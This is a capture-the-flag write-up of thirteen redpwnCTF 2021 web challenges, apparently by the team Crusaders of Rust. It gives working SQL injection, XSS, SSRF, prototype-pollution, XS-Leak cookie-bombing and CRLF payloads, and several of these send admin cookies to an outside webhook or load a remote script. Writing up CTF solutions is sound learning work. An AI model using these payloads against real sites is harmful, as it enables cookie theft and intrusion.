redpwnCTF 2021 - web challenges
- Author: Strellic, Larry, Drakon, Quintec
- Date:
Hello everyone!
The Crusaders of Rust (playing on the scoreboard as The Static Lifetime Society) got 2nd place at redpwnCTF 2021. We were able to solve all of the 13 web challenges this CTF (solving mdbin with 30 minutes to spare)!
Contents
- inspect-me // 1291 solves
- orm-bad // 1019 solves
- pastebin-1 // 612 solves
- secure // 535 solves
- cool // 125 solves
- Requester // 41 solves
- notes // 32 solves
- requester-strikes-back // 19 solves
- pastebin-2-social-edition // 17 solves
- pastebin-3 // 9 solves
- wtjs // 8 solves
- lazy-admin // 6 solves
- MdBin // 5 solves
inspect-me
1291 solves / 101 points
just inspect element lmao
flag{inspect_me_like_123}
orm-bad
1019 solves / 102 points
simple sqli, login as admin
with password 'or '1'='1
flag{sqli_overused_again_0b4f6}
pastebin-1
612 solves / 103 points / 🩸
simple xss, just send a paste with <script>js code</script>
to steal admin cookies.
1<script>navigator.sendBeacon("webhook", document.cookie);</script>
flag{d1dn7_n33d_70_b3_1n_ru57}
secure
535 solves / 104 points
since it encodes our input, we can just send the request manually using fetch
1fetch("https://secure.mc.ax/login", {
2 "headers": {
3 "content-type": "application/x-www-form-urlencoded",
4 },
5 "body": "username=" + encodeURIComponent("admin") + "&password=" + encodeURIComponent("' or '1'='1"),
6 "method": "POST",
7}).then(r => r.text()).then(console.log)
flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}
cool
125 solves / 122 points / 🩸
The presence of unprepared SQL statements in the code tells us that this challenge is probably going to be a SQL injection.
Unfortunately, our username is restricted to alphanumeric characters.
Fortunately, the password is not.
Unfortunately, the password is only used in a single insert statement and is also limited to 50 characters.
There’s probably some kind of blindsql solution, but I was way too lazy to golf a payload. Instead, we can set a single character of Ginkoid’s password as our password and then bruteforce our own account.
Our basic payload looks like '||(SELECT substr(password,1,1) from users));--
. Note that there isn’t a limit statement: I couldn’t manage to fit one in less than 50 characters, and sqlite will take the first entry by default. Since it’s not strictly necessary, I ignored it, just like every other problem in my life.
From here, it’s a simple matter of registering users and bruteforcing our own account. The best solution would have been to use async, but I only care about bloods and asynchronous code takes too long to write :D
1import requests
2import string
3import random
4url = "https://cool.mc.ax"
5charset = string.digits + string.ascii_letters
6
7def bruteforce(url, username, charset): # literally just bruteforce the password
8 for i in charset:
9 DATA = {'username': username, 'password': i}
10 resp = requests.post(url, data=DATA)
11 if "logged in" in resp.text:
12 print(i)
13
14def inject(url, pos): # injects the sql statement, with a little check because the challenge kept going down
15 username = ''.join(random.choice(string.ascii_letters) for _ in range(16))
16 DATA = {'username': username, 'password': f"'||(SELECT substr(password,{pos},1) from users));--"}
17 resp = requests.post(url, data=DATA)
18 if resp.status == 500:
19 print("oh fuck")
20 return False
21 return username
22
23i = 1
24while i <= 33: # I got this size from an earlier sql inject but it didnt go into my script so you're gonna have to figure it out on your own
25 uname = inject(url + '/register', i)
26
27 if uname: # Could this code be written better? Yes. Do I care? No.
28 print(uname)
29 print(i)
30 bruteforce(url, uname, charset)
31 i += 1
flag{44r0n_s4ys_s08r137y_1s_c00l}
Requester
41 solves / 175 points
Requester to me was the first “real” web challenge that wasn’t some basic topic. It was a website written in Java 🤮 that allows you to make API requests to any server, and returns whether they were successful or not.
From looking at the docker-compose file, we see that the website interacts with a CouchDB instance, a database system that manages everything using JSON.
Dumping the .jar
’s source code using JD-GUI or similar tools, we see that there’s two important endpoints:
GET /createAPI -> takes query parameters "username" and "password"
GET /testAPI -> takes query parameters "url", "method", and "data" (data only being used when method = "POST")
Looking at what /createAPI
does, we see this:
1 public static void createUser(Context ctx) {
2 String username = (String)ctx.queryParam("username", String.class).get();
3 String password = (String)ctx.queryParam("password", String.class).get();
4 try {
5 Main.db.createDatabase(username);
6 Main.db.createUser(username, password);
7 Main.db.addUserToDatabase(username, username);
8 JSONObject flagDoc = new JSONObject();
9 flagDoc.put("flag", Main.flag);
10 Main.db.insertDocumentToDatabase(username, flagDoc.toString());
11 ctx.result("success");
12 } catch (Exception e) {
13 throw new InternalServerErrorResponse("Something went wrong");
14 }
So, from this we can see that when we make a request to /createAPI
with a username and password, it creates that user in the database, and then stores the flag document there.
Looking at what /testAPI
does, we see this:
1 public static void testAPI(Context ctx) {
2 String url = (String)ctx.queryParam("url", String.class).get();
3 String method = (String)ctx.queryParam("method", String.class).get();
4 String data = ctx.queryParam("data");
5 try {
6 URL urlURI = new URL(url);
7 if (urlURI.getHost().contains("couchdb"))
8 throw new ForbiddenResponse("Illegal!");
9 } catch (MalformedURLException e) {
10 throw new BadRequestResponse("Input URL is malformed");
11 }
12 try {
13 if (method.equals("GET")) {
14 JSONObject jsonObj = HttpClient.getAPI(url);
15 String str = jsonObj.toString();
16 } else if (method.equals("POST")) {
17 JSONObject jsonObj = HttpClient.postAPI(url, data);
18 String stringJsonObj = jsonObj.toString();
19 if (Utils.containsFlag(stringJsonObj))
20 throw new ForbiddenResponse("Illegal!");
21 } else {
22 throw new BadRequestResponse("Request method is not accepted");
23 }
24 } catch (Exception e) {
25 throw new InternalServerErrorResponse("Something went wrong");
26 }
27 ctx.result("success");
28 }
So, it makes a GET or POST request to wherever we want, and if the POST request’s response contains the flag, it errors out. However, something important to note is that it checks if the url contains “couchdb”, and if so, doesn’t make the request.
I set up the system locally to start testing. Creating a user with username “strellicsquad” and password “12345”, I see the flag appear in the CouchDB setup. The existence of the flag check makes me immediately think we can exfiltrate the flag using some sort of blind injection - if we can search for the flag character by character, the response when the flag appears will be different from when the flag does not appear.
I look up how to search in CouchDB with a POST request, and find the /_find
endpoint. Making a request like:
1curl -X POST -H "Content-Type: application/json" 'http://strellicsquad:12345@couchdb:5984/strellicsquad/_find' --data '{"selector":{"flag": {"$regex": ".*"}}}'
shows the flag, while:
1curl -X POST -H "Content-Type: application/json" 'http://strellicsquad:12345@couchdb:5984/strellicsquad/_find' --data '{"selector":{"flag": {"$regex": "z.*"}}}'
doesn’t.
So, if we were able to make this request, we could exfiltrate the flag char-by-char. But, there is still the “couchdb” check on our URL. Thinking about it for a while, I realize that this probably isn’t case sensitive. So, making a request to http://Couchdb:5984
should be equivalent!
Knowing this, I make my solve script:
1import urllib.parse
2import requests
3import json
4import string
5
6# first, make a request to
7# /createUser?username=strellicsquad&password=12345
8
9alphabet = "etoanihsrdlucgwyfmpbkvjxqz{}_01234567890ETOANIHSRDLUCGWYFMPBKVJXQZ"
10
11def test_regex(regex):
12 url = "http://strellicsquad:12345@Couchdb:5984/strellicsquad/_find"
13 data = json.dumps({"selector":{"flag": {"$regex": regex}}})
14 r = requests.get(f"https://requester.mc.ax/testAPI/?url={urllib.parse.quote(url)}&method=POST&data={urllib.parse.quote(data)}")
15 return "Something went wrong" in r.text
16
17flag = "flag{"
18while not flag.endswith("}"):
19 for c in alphabet:
20 check = "^" + flag + c + ".*"
21
22 if test_regex(check):
23 print(f"found {c} -> {flag}{c}")
24 flag += c
25 break
And out pops the flag!
flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}
notes
32 solves / 196 points
Notes was an interesting challenge involving the DOM. The challenge is a basic notes app that lets you write a note and tag it.
Viewing your notes is done using client side templating:
1<div class="card">
2 <div>
3 {{ body }}
4 </div>
5 <div>
6 [{{ tag }}]
7 </div>
8</div>
The body
is properly escaped before injecting your note using basic find and replace, however the tag
is not.
The main problem is that the tag is limited to 10 characters before it automatically truncates your input:
1const tag =
2 note.tag.length > 10 ? note.tag.substring(0, 7) + '...' : note.tag;
After the find-and-replace, the notes are injected using innerHTML
.
Our exploit abused how browsers parse HTML. The basic idea is to start our injection in one note and end it in another note. For example you could start a <p>
tag in one note, and end it in another. The browser will parse this and put everything in the middle inside of your <p>
.
The tag that we chose for our injection was the <style>
tag, which has a little known onload
attribute that lets us inject arbitrary JS.
We still had one problem though: we needed to get the browser to ignore the <div class="card">...
between our injection points.
To do this, we added random HTML attributes so the browser would think that everything between was part of an attribute. This is also why we couldn’t use the <iframe>
and onload
attribute since browsers parse these differently and refuse to allow newlines inside of attributes on the <iframe>
tag.
To get the browser to ignore the garbage in the middle of our onload
, we used JS template strings and comments.
Our final payload involves 4 notes: <style a='
, 'onload='`
, `;eval(/*
*/name)'
.
This is essentially equivalent to <style a='<garbage>' onload='`<garbage>`;eval(name)'></style>
We then created a basic exploit site that uses window.open
to open a new window with the code that would be eval’d in the name
:
1<!DOCTYPE html>
2<html>
3 <body>
4 <script>
5 window.open("https://notes.mc.ax/view/<username>", "navigator.sendBeacon('<webhook server>', document.cookie)");
6 </script>
7 </body>
8</html>
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}
~ Larry
requester-strikes-back
19 solves / 251 points
Unfortunately, our solution to requester
was not the intended solution. Looking at the new source code, one of the changes we see is:
1 try {
2 URL urlURI = new URL(url);
3 if (urlURI.getHost().toLowerCase().contains("couchdb"))
4 throw new ForbiddenResponse("Illegal!");
5 String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8);
6 urlURI = new URL(urlDecoded);
7 if (urlURI.getHost().toLowerCase().contains("couchdb"))
8 throw new ForbiddenResponse("Illegal!");
9 } catch (MalformedURLException e) {
10 throw new BadRequestResponse("Input URL is malformed");
11 }
So now, the code will run toLowerCase()
on our string, making it so our previous Couchdb
bypass won’t work.
At this point, I knew that I probably would have to set up my own development environment. So, I loaded up my Java IDE of choice (IntelliJ), and imported the dependencies that the challenge used.
Looking through the dependencies in the .jar
file, I see this:
#Created by Apache Maven 3.5.4
version=4.5.12
groupId=org.apache.httpcomponents
artifactId=httpclient
As I install this package, I see that the current version is actually 4.5.13
, which makes me immediately think there’s an exploit on the older verison.
Looking up the release notes here, I see this:
This is a maintenance release that fixes incorrect handling of malformed authority component
in request URIs.
Jackpot. This is assigned “CVE-2020-13956”, so looking at the changes between this version and the last, I find this page showing me the changes.
What’s great is that there are test suites to make sure the bug doesn’t regress. So, testing the URL with our current setup, http://blah@goggle.com:80@google.com/
, we find that Java thinks the host is empty, but the request goes through to goggle.com
. Perfect!
Fiddling around with the URL to get it to match the target, I come up with the URL http://strellicsquad:12345@couchdb:5984@pepegaclapwr/strellicsquad/_find
. The URL parser thinks the host is empty, but instead it’ll make the request to the couchdb instance! Changing my script from above to use this new URL, I get the flag.
flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}
pastebin-2-social-edition
17 solves / 265 points / 🩸
A fun pastebin challenge.
We can make a post on the page, but it’s sadly sanitized by DOMPurify so we don’t have an easy XSS vector. There’s a place for people to comment, and the admin bot will do so when they are given a page.
The script first gets the form with:
1const form = document.querySelector('form');
then adds an event handler on submit that does:
1const parseForm = (form) => {
2 const result = {};
3 const fieldsets = form.querySelectorAll('fieldset');
4 for (const fieldset of fieldsets) {
5 const fieldsetName = decodeURIComponent(fieldset.name);
6 if (!result[fieldsetName]) result[fieldsetName] = {};
7 const inputs = fieldset.querySelectorAll('[name]');
8 for (const input of inputs) {
9 const inputName = decodeURIComponent(input.name);
10 const inputValue = decodeURIComponent(input.value);
11 result[fieldsetName][inputName] = inputValue;
12 }
13 }
14 return result;
15 };
16
17form.addEventListener('submit', async (e) => {
18 e.preventDefault();
19 const { params } = parseForm(form);
20 const { author, content, error, message } = await (
21 await fetch(`/api/pastes/${id}/comments`, {
22 method: 'POST',
23 headers: {
24 'Content-Type': 'application/json',
25 },
26 body: JSON.stringify(params),
27 })
28 ).json();
29 // if there's an error, show the message
30 if (error) errorContainer.innerHTML = message;
31 // otherwise, add the comment
32 else {
33 errorContainer.innerHTML = '';
34 addComment(author, content);
35 }
36 });
If the request returns an error, it’ll set the innerHTML of the errorContainer to the error message. So, if there’s a way we can manipulate the error and message to a custom payload, we can get XSS.
There’s some very obvious prototype pollution in the parseForm
function that we can abuse. Testing it out, we realize that if we can pollute error
to any value, and message
to an XSS vector, submitting the form runs our payload!
So now, how can we abuse parseForm
to get prototype pollution? Well, while DOMPurify stops obvious XSS vectors like <script>
or onerror
, it doesn’t stop prototype pollution.
From looking at parseForm
, we create this HTML snippet:
1<form>
2<fieldset name="__proto__">
3 <input name="error" value="1" />
4 <input name="message" value="<img src=x onerror='alert(1)'>" />
5</fieldset>
6<input value="Post Comment" type="submit" />
7</form>
If this is injected, and the admin bot presses the “submit” button, parseForm
will pollute:
1{}["__proto__"]["error"] = "1";
2{}["__proto__"]["message"] = "<img src=x onerror='alert(1)'>";
So, when the form is submitted, the request will occur, and the error and message fields will be filled with our custom data, giving us XSS!
At least, that was the plan. DOMPurify sadly sanitizes the “__proto__
” name property on the fieldset element, so this doesn’t work. But…
Looking back at the parseForm
function, we see the line:
1const fieldsetName = decodeURIComponent(fieldset.name);
It decodes the fieldset name. So, if we have an encoded __proto__
, DOMPurify won’t remove it, and the decode will return the correct __proto__
value!
We came up with the payload:
1<form>
2<fieldset name="%255F_proto__">
3 <input name="error" value="1" />
4 <input name="message" value="<img src=x onerror='alert(1)'>" />
5<input value="Post Comment" type="submit" />
6</fieldset>
7</form>
Running this pops an alert! Changing the message payload to send the admin’s cookies offsite, we get the flag:
flag{m4yb3_ju57_a_l177l3_5u5p1c10u5}
pastebin-3
9 solves / 347 points / 🩸
Another pastebin challenge. But this time, with a search functionality!
I am of the firm belief that CTF authors are lazy and almost never add unnecessary features. So, obviously this new search functionality is important, and it immediately makes me think of XSLeaks.
When viewing a paste that we made, it renders our text inside of an iFrame:
1<!doctype html>
2<html>
3 <head>
4 <link rel="stylesheet" href="/static/style.css" />
5 </head>
6 <body>
7 <div class="container tall">
8 <iframe src="https://sandbox.pastebin-3.mc.ax?id=6dbe4bb41caccaa3a2f26a173045e4d2f8a37e2be81e09ce5b0ff919950d52cd"></iframe>
9 </div>
10 </body>
11</html>
1 <script src="/static/purify.min.js"></script>
2 <script>
3 (async() => {
4 await new Promise(
5 (resolve) => window.addEventListener('load', resolve)
6 );
7 document.body.innerHTML = DOMPurify.sanitize(
8 `"sfsdfsdfs"`.slice(1, -1)
9 );
10 })()
11 </script>
What’s interesting is that it outputs our paste directly inside of backtips (``). So, while we might not be able to escape the quotes, we can instead paste ${alert(1)}
, using JS’s string interpolation to run JavaScript.
So now, we have JS execution… on the sandbox page. Since they are different origins, we don’t have access to the parent page.
Now, I decide to look at the server code. With XSLeaks in my mind, I look at the search functionality:
1@app.route('/search')
2def search():
3 if 'username' not in session:
4 return redirect('/')
5 if 'query' not in request.args:
6 flash('Please provide a query!')
7 return redirect('/home')
8 query = str(request.args.get('query'))
9 results = (
10 paste for paste in get_pastes(session['username'])
11 if query in get_paste(paste)
12 )
13 try:
14 flash(f'Result found: {next(results)}.')
15 except StopIteration:
16 flash('No results found.')
17 return redirect('/home')
Looking at this code, the vuln immediately pops into my mind. But first, let’s talk about XSLeaks. XSLeaks is a category of side-channel attacks. From the XSLeaks wiki:
Cross-site leaks (aka XS-Leaks, XSLeaks) are a class of vulnerabilities derived from side-channels built into the web platform. They take advantage of the web’s core principle of composability, which allows websites to interact with each other, and abuse legitimate mechanisms to infer information about the user.
One common XSLeak attack is listening for error events. There are ways to determine whether a request to a domain succeeds or errors out.
So, if we can somehow abuse this functionality, and get the page to error out when we find/not find the flag.
To exploit this, we can use a cookie bombing attack on the search endpoint. Cookie bombing abuses the fact that webservers have header length limits, we can set a really long cookie to cause the server to 400
.
The search endpoint uses flashes to display the result of the search, which store the text in the session cookie. The length of the response cookie is therefore directly correlated with whether the search was successful or not.
Here’s the code for handling the flash messages:
1 try:
2 flash(f'Result found: {next(results)}.')
3 except StopIteration:
4 flash('No results found.')
From this we can see that if a result is found, a longer message will appear than when a result is not found. This longer message creates a longer cookie, so if we cookie bomb the domain to have headers just barely under the limit, a successful search will create a longer flash and error out our page, while an unsuccessful search won’t.
So, to detect errors we use the probeError
snippet from the XSLeaks wiki.
1function probeError(url) {
2 let script = document.createElement('script');
3 script.src = url;
4 script.onload = () => console.log('Onload event triggered');
5 script.onerror = () => console.log('Error event triggered');
6 document.head.appendChild(script);
7}
Although same-site cookies would have stopped this normally, thankfully since the sandbox domain is a subdomain, same-site does not apply and the probeError
snippet can detect it.
Here’s our solve script:
1const alphabet = "abcdefghijklmnopqrstuvwxyz0123456789{}_ABCDEFGHIJKLMNOPQRSTUVWXYZ";
2
3function set() {
4 document.cookie = `a=${'a'.repeat(4096-90)}; domain=.pastebin-3.mc.ax`
5 document.cookie = `b=${'a'.repeat(4096-90)}; domain=.pastebin-3.mc.ax`
6}
7
8function unset() {
9 document.cookie = `a=; domain=.pastebin-3.mc.ax`
10 document.cookie = `b=; domain=.pastebin-3.mc.ax`
11}
12
13function probeError(url) {
14 return new Promise(resolve => {
15 let script = document.createElement('script');
16 script.src = url;
17 script.onload = () => resolve(false);
18 script.onerror = () => resolve(true);
19 document.head.appendChild(script);
20 });
21}
22
23function wait(time) {
24 return new Promise(resolve => {
25 setTimeout(resolve, time);
26 });
27}
28
29(async () => {
30 let prefix = "flag{c00k13_b0mb1n6_15_f4k3_vu";
31 set();
32 navigator.sendBeacon('https://webhook.site/e66e7e4f-1004-411a-86c9-71df69f20dd7?loaded');
33 while (!prefix.endsWith('}')) {
34 for (let i = 0; i < alphabet.length; i++) {
35 let attempt = prefix + alphabet[i];
36
37 let subwindow = window.open("https://pastebin-3.mc.ax/search?query=" + encodeURIComponent(attempt));
38 await wait(500);
39 subwindow.close();
40
41 if (await probeError("https://pastebin-3.mc.ax/home")) {
42 navigator.sendBeacon('https://webhook.site/e66e7e4f-1004-411a-86c9-71df69f20dd7?' + attempt);
43 unset();
44 prefix = attempt;
45 break;
46 }
47 }
48 }
49})();
Now, to use this exploit we imported the script by creating a paste with:
1${import(String.fromCharCode(47).repeat(2) + /brycec.me/.source + String.fromCharCode(47) + /pwn.js/.source)}
and out popped the flag, letter by letter. Eventually, we exfiltrated the whole thing, and got the flag!
flag{c00k13_b0mb1n6_15_f4k3_vuln}
wtjs
8 solves / 362 points
The idea here is to call something along the lines of eval(eval("name"))
, since name
(window.name
) is a variable we can control, so achieving this would allow us to run arbitrary JavaScript, which would allow us to execute a basic XSS and solve the challenge.
Primitives
The first obstacle is obtaining our basic building blocks of this payload, such as numbers and letters. Useful to keep in mind is how JavaScript implicitly casts things to make operations work. Here were some of our constructions:
10 = +[]
21 = []**[]
3"false" = ([]>[])+[]
4"undefined" = []+[][[]]
5"function find() { [native code] }" = []["find"]+[] //using the letters from undefined
Here was our final payload, clocking in at 342 chars exactly:
[[[____=[]+[___=[]+[_=[]**[]][__=_+_+_]][___[__+_]+___[__+_+_]+___[_]+___[_+_]]][_____=(__>_)+[]]][____=____[__]+____[__+__]+___[_]+((_>_)+[])[__]+_____[+[]]+_____[_]+_____[_+_]+____[__]+_____[+[]]+____[__+__]+_____[_]][_=((_=>_)+[])[+[]]+((_=>_)+[])[_]+___[_]+((_>_)+[])[_]+(_[____]+[])[__*__+_+_]+___[__]]][__=(_=>_)[____]][__(_)()+__(_)()]
This payload works in stages, working up towards the function constructor to evaluate our code.
We first generate the numbers 1 and 3 through _=[]**[]
and __=_+_+_
.
Then, we generate "undefined"
by doing [1][3]
and converting it to a string.
With the letters in “undefined”, we’re able to create the string “find”. Running []["find"]+[]
generates the string “function find() { [native code] }”, giving us more to work with.
We then generate the string “true” by doing (__>_)+[]
, which is essentially converting 3 > 1 to a string.
With all of these new characters, we create the string “constructor”, which gives us access to the constructor of any object we desire.
From there, we utilize the Number constructor to get the letter “m”, and generate the string _=name
, storing it in _
;
With this string, we can run the Function constructor twice with the argument _
. The first run, our generated string from above is run, setting _
equal to window.name
. Then, it’s run again, evaluating our payload stored in window.name
.
With this, we can evaluate any code we want by storing it in the name
variable, similar to notes from above.
Here’s a graph of the payload length over time, including some bad paths that we tried. We started around 550 bytes, and then slowly optimized our payload by changing our variables, primitives, and target until we barely got under the limit.
Sending our payload to the admin, we get the flag.
flag{n0t_qu1t3_jsf*ck_but_cl0s3_3n0ugh}
lazy-admin
6 solves / 396 points
I’m not going to analyze the full source because I’m lazy. I really hope you know how to read Javascript, because I don’t.
Anyway, we basically have a relatively lightweight webapp (there’s also a Discord bot but we can ignore that for now). There’s a couple of API endpoints, but only three of them actually matter.
/flag
is where we can access the flag. We need to be signed in as admin for this. Luckily, we automatically get signed in as admin if our host header is set to localhost
. I smell SSRF.
/profile
lets us access our user information. Since it’s a nunjucks template, we can’t actually do XSS or anything. XSS wouldn’t actually help, anyway, since there’s no admin bot. There’s an opportunity for exfiltration through the profile picture though, which I’ll touch on in a second.
/register
handles user account creation. Like /flag
, this endpoint is admin-only. Most of the code is secure, but the picture-code is very interesting. Specifically, we have the chance to do SSRF. The contents of the page will get saved as our profile picture.
Now, let’s take a closer look at the actual code. If the picture data is a nonfile (aka a field), it gets parsed as JSON. HTTP(S) options are extracted from this JSON, and the host is run through a validation algorithm. Unfortunately for us, the supplied host is checked against some regex (/[^\d\.]/
). If it matches, it gets resolved into an IP address and thrown into some other checks.
This is very unfortunate, since we need our host to be localhost
in order for us to be logged in as admin. So, even if we manage to get SSRF with something like a decimal IP, the host header would be incorrect and we wouldn’t be granted access to the admin user. It doesn’t really seem like we can bypass the URL validation function. Luckily, we don’t need to.
A quick look at the node.js source code shows something very interesting. Specifically, in the source code for the http.get()
method. In _http_client.js
, on line 165, we see:
1const host = options.host = validateHost(options.hostname, 'hostname') ||
2validateHost(options.host, 'host') || 'localhost';
If a hostname is not defined, then the request defaults to using localhost
as our host. This means we can pass an empty string as our host and we’ll have SSRF. The URL validation function won’t trigger, since an empty string doesn’t fail any of the checks.
Now that we’ve identified this issue, we need to work on attacking the bot. Like I said earlier, the /register
endpoint requires admin permissions. So, all our requests must be relayed through the Discord bot. The username, password, and bio fields don’t have anything interesting. The picture field takes either a URL or a file, and is what we’ll be using to perform our SSRF attack.
If you send the bot a file, the bot just downloads the file from the attachments and sends this picture to the website. Since this is a file, the website takes the file contents directly and saves it as an image. Our only opportunity for SSRF is to send the bot a URL. Or so I thought.
It was around this point where I made a very bad decision and proceeded to waste a very long time reading through the node.js source code. I was convinced that we were supposed to write a malformed URL so that the URL()
function would output an empty hostname. I actually managed to get a few such payloads working on older versions of node (http://\255/flag
was a particularly nice one), but nothing could really cause an error in the Node 16 parser.
30 hours later, I realized that files aren’t even handled properly, and that I could perform a CRLF. I’m smart like that.
The biggest problem is that our boundary is really small. With four digits of hex, we only have 16 bits of entropy. This makes it very easily possible to bruteforce.
The second problem is that our uploaded files are never escaped in the code. The file contents are directly inserted into an HTTP request, which lets us actually inject naughty characters.
When these two issues are combined, we can craft a massive payload that essentially bruteforces every single possible boundary at once and overrides the picture
file with a new field that contains some crafted JSON.
This Python code does just that:
1# For some reason, \r\n didn't work but \n did. I still have no idea why.
2with open("exploit.txt", "w") as fin:
3 fin.write("Turns out it wasn't node source.\n\n")
4
5 for i in range(0, 0x10000):
6 boundary = hex(i)[2:].zfill(4)
7 fin.write("--" + boundary + "\n")
8 fin.write("Content-Disposition: form-data; name=\"picture\"\n\n")
9 fin.write("{\"protocol\":\"http:\",\"host\":\"\",\"path\":\"/flag\",\"search\":\"\"}\n")
10 fin.write("--" + boundary + "\n")
This generates a payload that looks something like this:
Coincidentally, this file is barely under 8 megabytes.
We register an account and upload this as the payload, and we have the flag.
flag{d15c0rd_b07_n07_r34lly_n3c3554ry}
MdBin
5 solves / 415 points
This web really hurt. MdBin was a React app that implemented a pastebin with markdown support. It also had custom theming support.
When you made a post, it encoded the post data as base64. Here’s an example post:
1{"title":"yep","content":"yepyepyep","theme":{"color":{"background":"#293038","foreground":"#e9ebec","muted":"#676e71","primary":"#46b6c7"},"size":{"base":"1rem"},"lineheight":"normal"}}
Looking at the source code, we see this:
1// View.js:
2useTheme(deepmerge({}, defaultTheme, theme))
3
4// Util.js:
5const deepmerge2 = (a, b) => {
6 for (const key in b) {
7 if (typeof a[key] === 'object' && typeof b[key] === 'object'
8 && !(a instanceof Array) && !(b instanceof Array)
9 ) {
10 deepmerge2(a[key], b[key])
11 } else {
12 if (typeof b[key] === 'object' && !(b instanceof Array)) {
13 a[key] = {}
14 deepmerge2(a[key], b[key])
15 } else {
16 a[key] = b[key]
17 }
18 }
19 }
20}
21export const deepmerge = (a, ...rest) => {
22 let curr = a
23 while (rest.length > 0) {
24 deepmerge2(curr, rest.shift())
25 }
26 return curr
27}
Obviously, we can prototype pollute the theme object in our base64 to redirect code flow. Now the question becomes, what do we pollute?
This part took us more than 6 hours. The React app used many dependencies like remark-rehype
, rehype-react
, hast-to-hyperscript
, all of “React” itself, and many more. There was a lot of code to look through.
But, since the prototype pollution happens quite late into the rendering (after the HTML AST is generated), we basically only can redirect code flow in the HTML AST to React element and in React itself.
Checking the HTML AST -> React dependency, I pretty quickly find this:
1return createElement(settings.Fragment || 'div', {}, result)
So, if we pollute “Fragment”, we can change the root markdown node from a “div” to something else.
We also found this other code segment in hast-to-hyperscript
here
1for (property in properties) {
2 addAttribute(attributes, property, properties[property], ctx)
3}
which lets us add arbitrary attributes to any element (besides the root element changed by Fragment). Sadly, this didn’t work for event handlers, as React would complain that the event handler attributes were strings instead of functions.
By this point, we saw some other helpful gadgets that could work if we could pollute a property with another object. But, doing a pollution like:
1{
2 "__proto__": {
3 "a": "b",
4 "sdf": {
5 "123": "abc"
6 }
7 }
8}
would cause the deepmerge function to go into an infinite loop. Sadly, I didn’t think about why this happened and just assumed deepmerge
wouldn’t allow me to pollute levels deeper, which probably costed me around 6-7 hours.
Eventually, I realized why this was the case - we were polluting the same object recursively.
In the case above, the problem would happen when looping through the keys of the inner object “sdf”. After the script merged the prototype with all of the keys in “sdf”, it would start to merge the polluted keys again. Eventually, it would get back to the polluted key “sdf”, and see that there was another object there, and try to merge again.
It would recursively attempt to merge “sdf” again and again, essentially going down the chain {}["sdf"]["sdf"]["sdf"]["sdf"]...
until the page crashed.
Once I noticed this, I immediately realized that the solution was just to add the key name itself as another key, so that when going down the chain it wouldn’t use the polluted reference.
1{
2 "__proto__": {
3 "a": "b",
4 "sdf": {
5 "123": "abc",
6 "sdf": "" // stops the recursion loop
7 }
8 }
9}
With this new power to pollute sub-objects, I remembered the existence of a gadget in React itself, the defaultProps
attribute.
Looking at the source code here, we can see this snippet:
1 if (type && type.defaultProps) {
2 const defaultProps = type.defaultProps;
3 for (propName in defaultProps) {
4 if (props[propName] === undefined) {
5 props[propName] = defaultProps[propName];
6 }
7 }
8 }
So, if we pollute the object “defaultProps” to have some key-value, it would apply this on every newly-created React element, INCLUDING the root element which we can control the type of by polluting “Fragment”.
From here, the plan was simple. Pollute “Fragment” to become an iframe
element, and then pollute “defaultProps” to add the default property srcdoc
with a script tag to run our JavaScript.
Here was our final payload:
1{"title":"dfgdgf","content": "sdf","theme":{"color":{"background":"#293038","foreground":"#e9ebec","muted":"#676e71","primary":"#46b6c7"},"size":{"base":"1rem"},"lineheight":"normal", "__proto__": { "Fragment": "iframe", "defaultProps": {"srcdoc": "<script>navigator.sendBeacon('webhook', document.cookie)</script>", "defaultProps": "a"} }}}
Encoding this as base64 and sending it to the admin, we get the flag!
flag{d1d_y0u_kn0w_unified_cr4sh3s_1mm3di4t3ly_0n_p0llut10n?}
All in all, a very fun CTF hosted by our friends over at redpwn. We got 2nd place and special thanks to guest player M30W from Balsn absolutely carrying us helping support our team.